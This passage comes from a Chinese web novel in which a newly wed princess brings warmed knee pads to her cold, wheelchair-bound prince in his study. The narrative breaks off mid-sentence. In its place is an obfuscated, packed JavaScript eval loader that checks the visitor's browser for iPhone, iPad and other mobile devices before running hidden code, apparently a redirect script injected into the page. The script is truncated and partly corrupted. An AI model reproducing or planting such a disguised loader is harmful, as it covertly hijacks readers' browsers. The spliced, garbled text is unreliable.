脚细密,一看便知是上等料子。
随后,玲珑也端着裹了素色布套的汤婆子进来。
戚云晞伸手接过护膝,轻轻展开,裹在温烫的汤婆子上,再拢入宽大的袖中,紧紧捂着。
雪晴瞧着,忙开口道:“王妃,这些粗活让奴婢代劳便是,等焐得妥帖了,您再送去也不迟。”
戚云晞微笑摇头,语气笃定:“不必,我亲自来便好,伺候王爷,本就是我这个王妃的分内事。你去探问一声,王爷此刻是否在靖和堂?”
玲珑不等雪晴开口,道:“王妃,方才瞧见何顺去小厨房取茶,想来王爷还在书房呢。”
“知道了。”
戚云晞轻轻颔首,裹着护膝的手往怀中紧了紧,“一会儿我自己过去便是,你们在此候着即可。”
雪晴有些不放心:“王妃,夜里天暗,廊下又结了薄冰,您刚到府里路生……不如让奴婢跟着伺候,也好能搭把手。”
“不必了。”
戚云晞侧过脸望向窗外沉沉的夜色,神色恬淡:“白日里瞧过舆图,东北方向穿过月洞门,沿着抄手游廊直走,便是靖和堂,书房在靖和堂偏东处,这路径我都已烂熟于心。这点路程,我自能安稳走到。”
此去是为示好,分寸全看他的神色定夺,怎好带旁人在侧徒增变数?
多一人,便多一分不便。
雪晴见她将路径说得分毫不差,便未再坚持:“是,王妃路上仔细些,奴婢们在此等候王妃归来。”
约莫一盏茶的工夫,护膝已焐得温热。
雪晴取来素色斗篷为她披上。
戚云晞便抱着那包得严严实实的护膝,转身往书房去了。
廊下栏杆结着薄冰,寒气浸骨。
戚云晞踩着碎步慢慢前行,远远便见书房窗纸上透出昏黄的灯影。
她在廊下站定,理了理斗篷下摆,确认仪态无差池,这才屈指在门板上轻叩三下:“王爷,臣妾可否进来?”
周遭静得能听见自己浅浅的呼吸声,却迟迟未闻门内的回应。
戚云晞心头微微一坠,漫上一丝失落。
莫非王爷并不愿见她?
忽听得“吱呀”一声门响,何顺掀帘而出,见了她忙低眉躬身:“王妃安……”
话未说完,书房内已传来慕容湛淡漠无波的声音:“进来。”
戚云晞心中掠过一丝窃喜,忙跟在何顺身后。
房内暖意融融,混着淡淡的墨香扑面而来,方才在廊下染上的寒气,瞬间融去了大半。
慕容湛坐在轮椅上,背对着门口,正凝神望着墙上挂着的北疆地形图。
听得脚步声已近,他并未回头,只淡淡道:“何事?”
那语气,凉意沁人。
戚云晞轻移莲步,屏息静气走至他身侧,双手捧着怀中护膝递到他面前。
汤婆子的温度透过锦缎渗出来,泛着丝丝温意。
她垂着眼帘,轻声细语:“母妃今日特意嘱咐,说王爷夜里腿易畏寒,让臣妾务必将护膝焐热了送来。”
慕容湛这才缓缓转眸,视线落在她捧着护膝的手上。
那双手果然生得雪白,指节纤细,却不似寻常闺秀那般娇嫩,虎口处还带着点薄茧。
想来是在戚府时,做惯了粗活留下的痕迹。
此刻,这双手正恭恭敬敬地托着护膝,似捧着什么稀世珍宝。
他目光微凝,旋即移开,淡漠道:“放下吧。”
戚云晞却轻轻往前递了递,指尖堪堪要触到他的膝头:“汤婆子还热着,此刻裹上正好。臣妾……臣妾为您系上,可好?”
那眼神略带怯意,却格外恳切。
慕容湛眸色微沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile